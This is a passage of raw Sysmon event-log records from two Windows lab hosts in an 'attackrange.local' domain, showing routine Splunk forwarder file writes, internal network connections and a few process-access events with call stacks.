14:54:49.095{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3FD85EE4434FDCF83B3AB68B5B45DE8F,SHA256=1ED32D5D968F6B4D53BF88CA2258DB0F45897114653F5148EACA42C3D59B6E44,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:50.855{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=16BEBFD386D037D08999D1D142ECC590,SHA256=F7F4D83180913727EA9F77DAE77E6150C791C98F96A767D85B36200F4C9DC52B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015765Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:50.126{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=03275EB94296C702B40FAA85A7389E07,SHA256=137FD4BB94844BB29997A146DF24BF472F97BDC49B226971EE800C0DB2AFBB3A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:51.887{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5EEBD3D8C446AA446B519D3C4D07802,SHA256=C7C68211466CAE5971A3B42473491FE017412D83E07649A3D0C5E2A0FE03E4CB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015766Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:51.138{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A11A0AA1A2923B1D6562407B083CE697,SHA256=2902C4549D546DDFC6FC9A19133E505A46BD631C85A413DC036CECA38774BC4F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:52.996{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3FE42FF233DD58737D621B6E2B5BADD4,SHA256=AA34003DA8B4324D97CC3A6568B5B32EDE8404760AAF831A8C7A96846ACBA633,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015767Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:52.154{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2C8155BBAC4CD45FC13A568D5FFD4624,SHA256=5EEAE37F4BDD5BB9BDAB5D5B7A103CEA9B14502BE4D7E8F586FA043A3D4FF608,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:50.539{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59441-false10.0.1.12-8000- 354300x800000000000000015769Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:51.461{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50244-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015768Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:53.169{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52FEBD6EC6AC01779143514B7FA65604,SHA256=063D476D843D2F8E11A6F171EFFDA47DAA163301C8E537F8A4F88E4DF93DDD42,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015771Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:54.919{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015770Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:54.201{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DEF96963F7AC48069B7CA40F558240BD,SHA256=06DB33DB8F51C59CCEDE14B751454BAAFFC00FCFF6F4675E37396724F5A49637,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:54.012{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE190D8A9A08C8367411751E06495AE7,SHA256=0FDB176A0867B0E164C4AA928DE158298554F96E1DE88FCEE3A7AFB221ADA19A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015772Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:55.232{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=68414A2B8652A997F13901D6C0060AE2,SHA256=13934EFB1D4CE73B806CBB9AF9D4CA043AA2A6202A3F6810CE47902BC67B2679,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:55.902{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000048049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:55.027{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=480E197E6095AAEB2A95EBCCBD6E60F1,SHA256=02FD50204275364533120A9BE133C019BA045A68DFE10CDD29151478A4422D90,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015774Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:55.227{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50245-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000015773Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:56.279{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B7BD493072D9F18F82E9D7CF5ACE192,SHA256=0E2128F6BE2279496A0F7FA1851D3F5482FBAF47862588F3937C841937FCBEA5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:55.115{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local59443-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000048058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:55.115{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59443-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000048057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:55.106{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59442-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000048056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:55.106{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59442-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 23542300x800000000000000048055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:56.840{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F37E3167C7C25F9FD569EE38361EEA4B,SHA256=9835B578CF17DF865E9C1593810F30EE30F6264490F26553F26C8DB506955A7A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:56.840{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=676158AD92C53F735394454332056963,SHA256=507C75E4FFC909DDEF412AB85AF0B9CECB5C87CC219B8A1E32595E3761765D07,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:56.808{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=EE176543C44EB978E885EB77DAFCB769,SHA256=6EBBA66AD6A7EEC95216D6C43A3ECFEC7B50346D4BECEB614F010FAFA2EA575A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:56.808{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=1182936DAC3C905632D409545A6CE5AF,SHA256=B10E4A104824FC69A4EA61D2027809D6AF65731D32E2733470718A823329C1F7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:56.027{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED34705D148431E7217563B2040421F6,SHA256=557EB219A102DF0B48163CAD9CEFD48EAD640D215390B845A6AF4D2C8D39672B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015775Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:57.357{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6368942BF4C283F30E196B8CFBE52F70,SHA256=7FB118051D9ABE3AA06A204E344BBCDCFFB756E0FEAC074CCFB8F7F98A2FD08F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:57.074{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B1323BB49C3D9B050223F282E57390D0,SHA256=D2B61E7AF30437F026891FB67E3BCFB17E5C25E6FB63D2505CF0030C359E873A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015777Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:57.445{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50246-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015776Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:58.373{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=63E5B0E349689B4CCBFDC0CF48B3077D,SHA256=532FD7E1B1940591FB2089EE66C5B4F933541FA4A0EBAF3EB30C09990B2AAC7B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:58.074{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7BCF5F11C07CA876DA37D8C721B1B20,SHA256=F6BB7086414F82307895CEEECE17D747D3317F265078854E7A52CC863AF580AF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:55.215{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59444-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000048061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:55.215{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59444-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 23542300x800000000000000015778Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:59.388{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FC48B0CC0B78CCAC76F1DCC7918E5FEF,SHA256=430EAA72BA1D0EFD30A2BC4A10EB2AD1565C481110DEC5ACACB1A79E8DA7BEFE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:59.308{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F37E3167C7C25F9FD569EE38361EEA4B,SHA256=9835B578CF17DF865E9C1593810F30EE30F6264490F26553F26C8DB506955A7A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:59.168{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C3378859E90AC6FDA8C54F992C13DBEF,SHA256=C0947FCFB199A33A7EDFC490F25B3285E4A620FDA99AC0FC29C7D617A503EA1C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:56.492{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59445-false10.0.1.12-8000- 23542300x800000000000000048069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:00.340{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DDC97E3134DC95B3D45C7F2C8AFAE42,SHA256=52C0C15B310931D138FC928D6D87312C144F095789334AAB649C7BC6A292DCAE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015779Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:00.466{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5D7D5C8659CA332D726AFECEF3DD67C3,SHA256=F806CFF763657BA95281B46FF0D1318FBBBEA44DD26CB98A455767F47E388DDB,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:57.602{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59446-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000048067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:57.602{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59446-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000015780Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:01.499{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=016117B5C9CC5D1B4A7E1B8B72B40614,SHA256=46BC3E51006CE94D7993D825A6EEB85CF61EB10C407FA551E1FE96DF9F8A9B16,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:01.796{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-049MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:01.341{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1070B4D0DA4605A6B7A7FE904D8FD404,SHA256=4C460A4889F0D3FFB64E0661D1D0C04652C17A9657D480A9C605574F2E2C27B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015782Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:02.513{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7DBEB29E4449A7A7B92C898396A8ED91,SHA256=7360B74D1CBF383D506C238B44EE3D005B4390AB003D76F2406B44F16345D00A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:02.810{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-050MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:02.356{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7E2D2C7CD7139DF3DD96F4C58053BECB,SHA256=67F2AF47312A413E4557C36BDD79FB5C53CA1AC09D0939C268AF1F797B175388,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015781Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:02.263{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=D02A842C905E02280AD2F917E68778CD,SHA256=C61CBBF21D99852B6C81725176B986887C02427D3EB56ADB98FBE6D224DDBBCA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015783Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:03.529{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A8F98A5CDB87CB69FD1A135B411B62DB,SHA256=CB544AF059F1103E0DE3DF9D4C0BAF71CA6DEEE3F5F7B5FB9B69740B1525777C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:03.373{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BDBF21FAC1D32513096E63C65F5A901C,SHA256=F5E07AE0EE44FEFE989B68AA80E19BA1A86560F66B53833BC9BB5A921CC113D2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015787Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:04.841{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015786Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 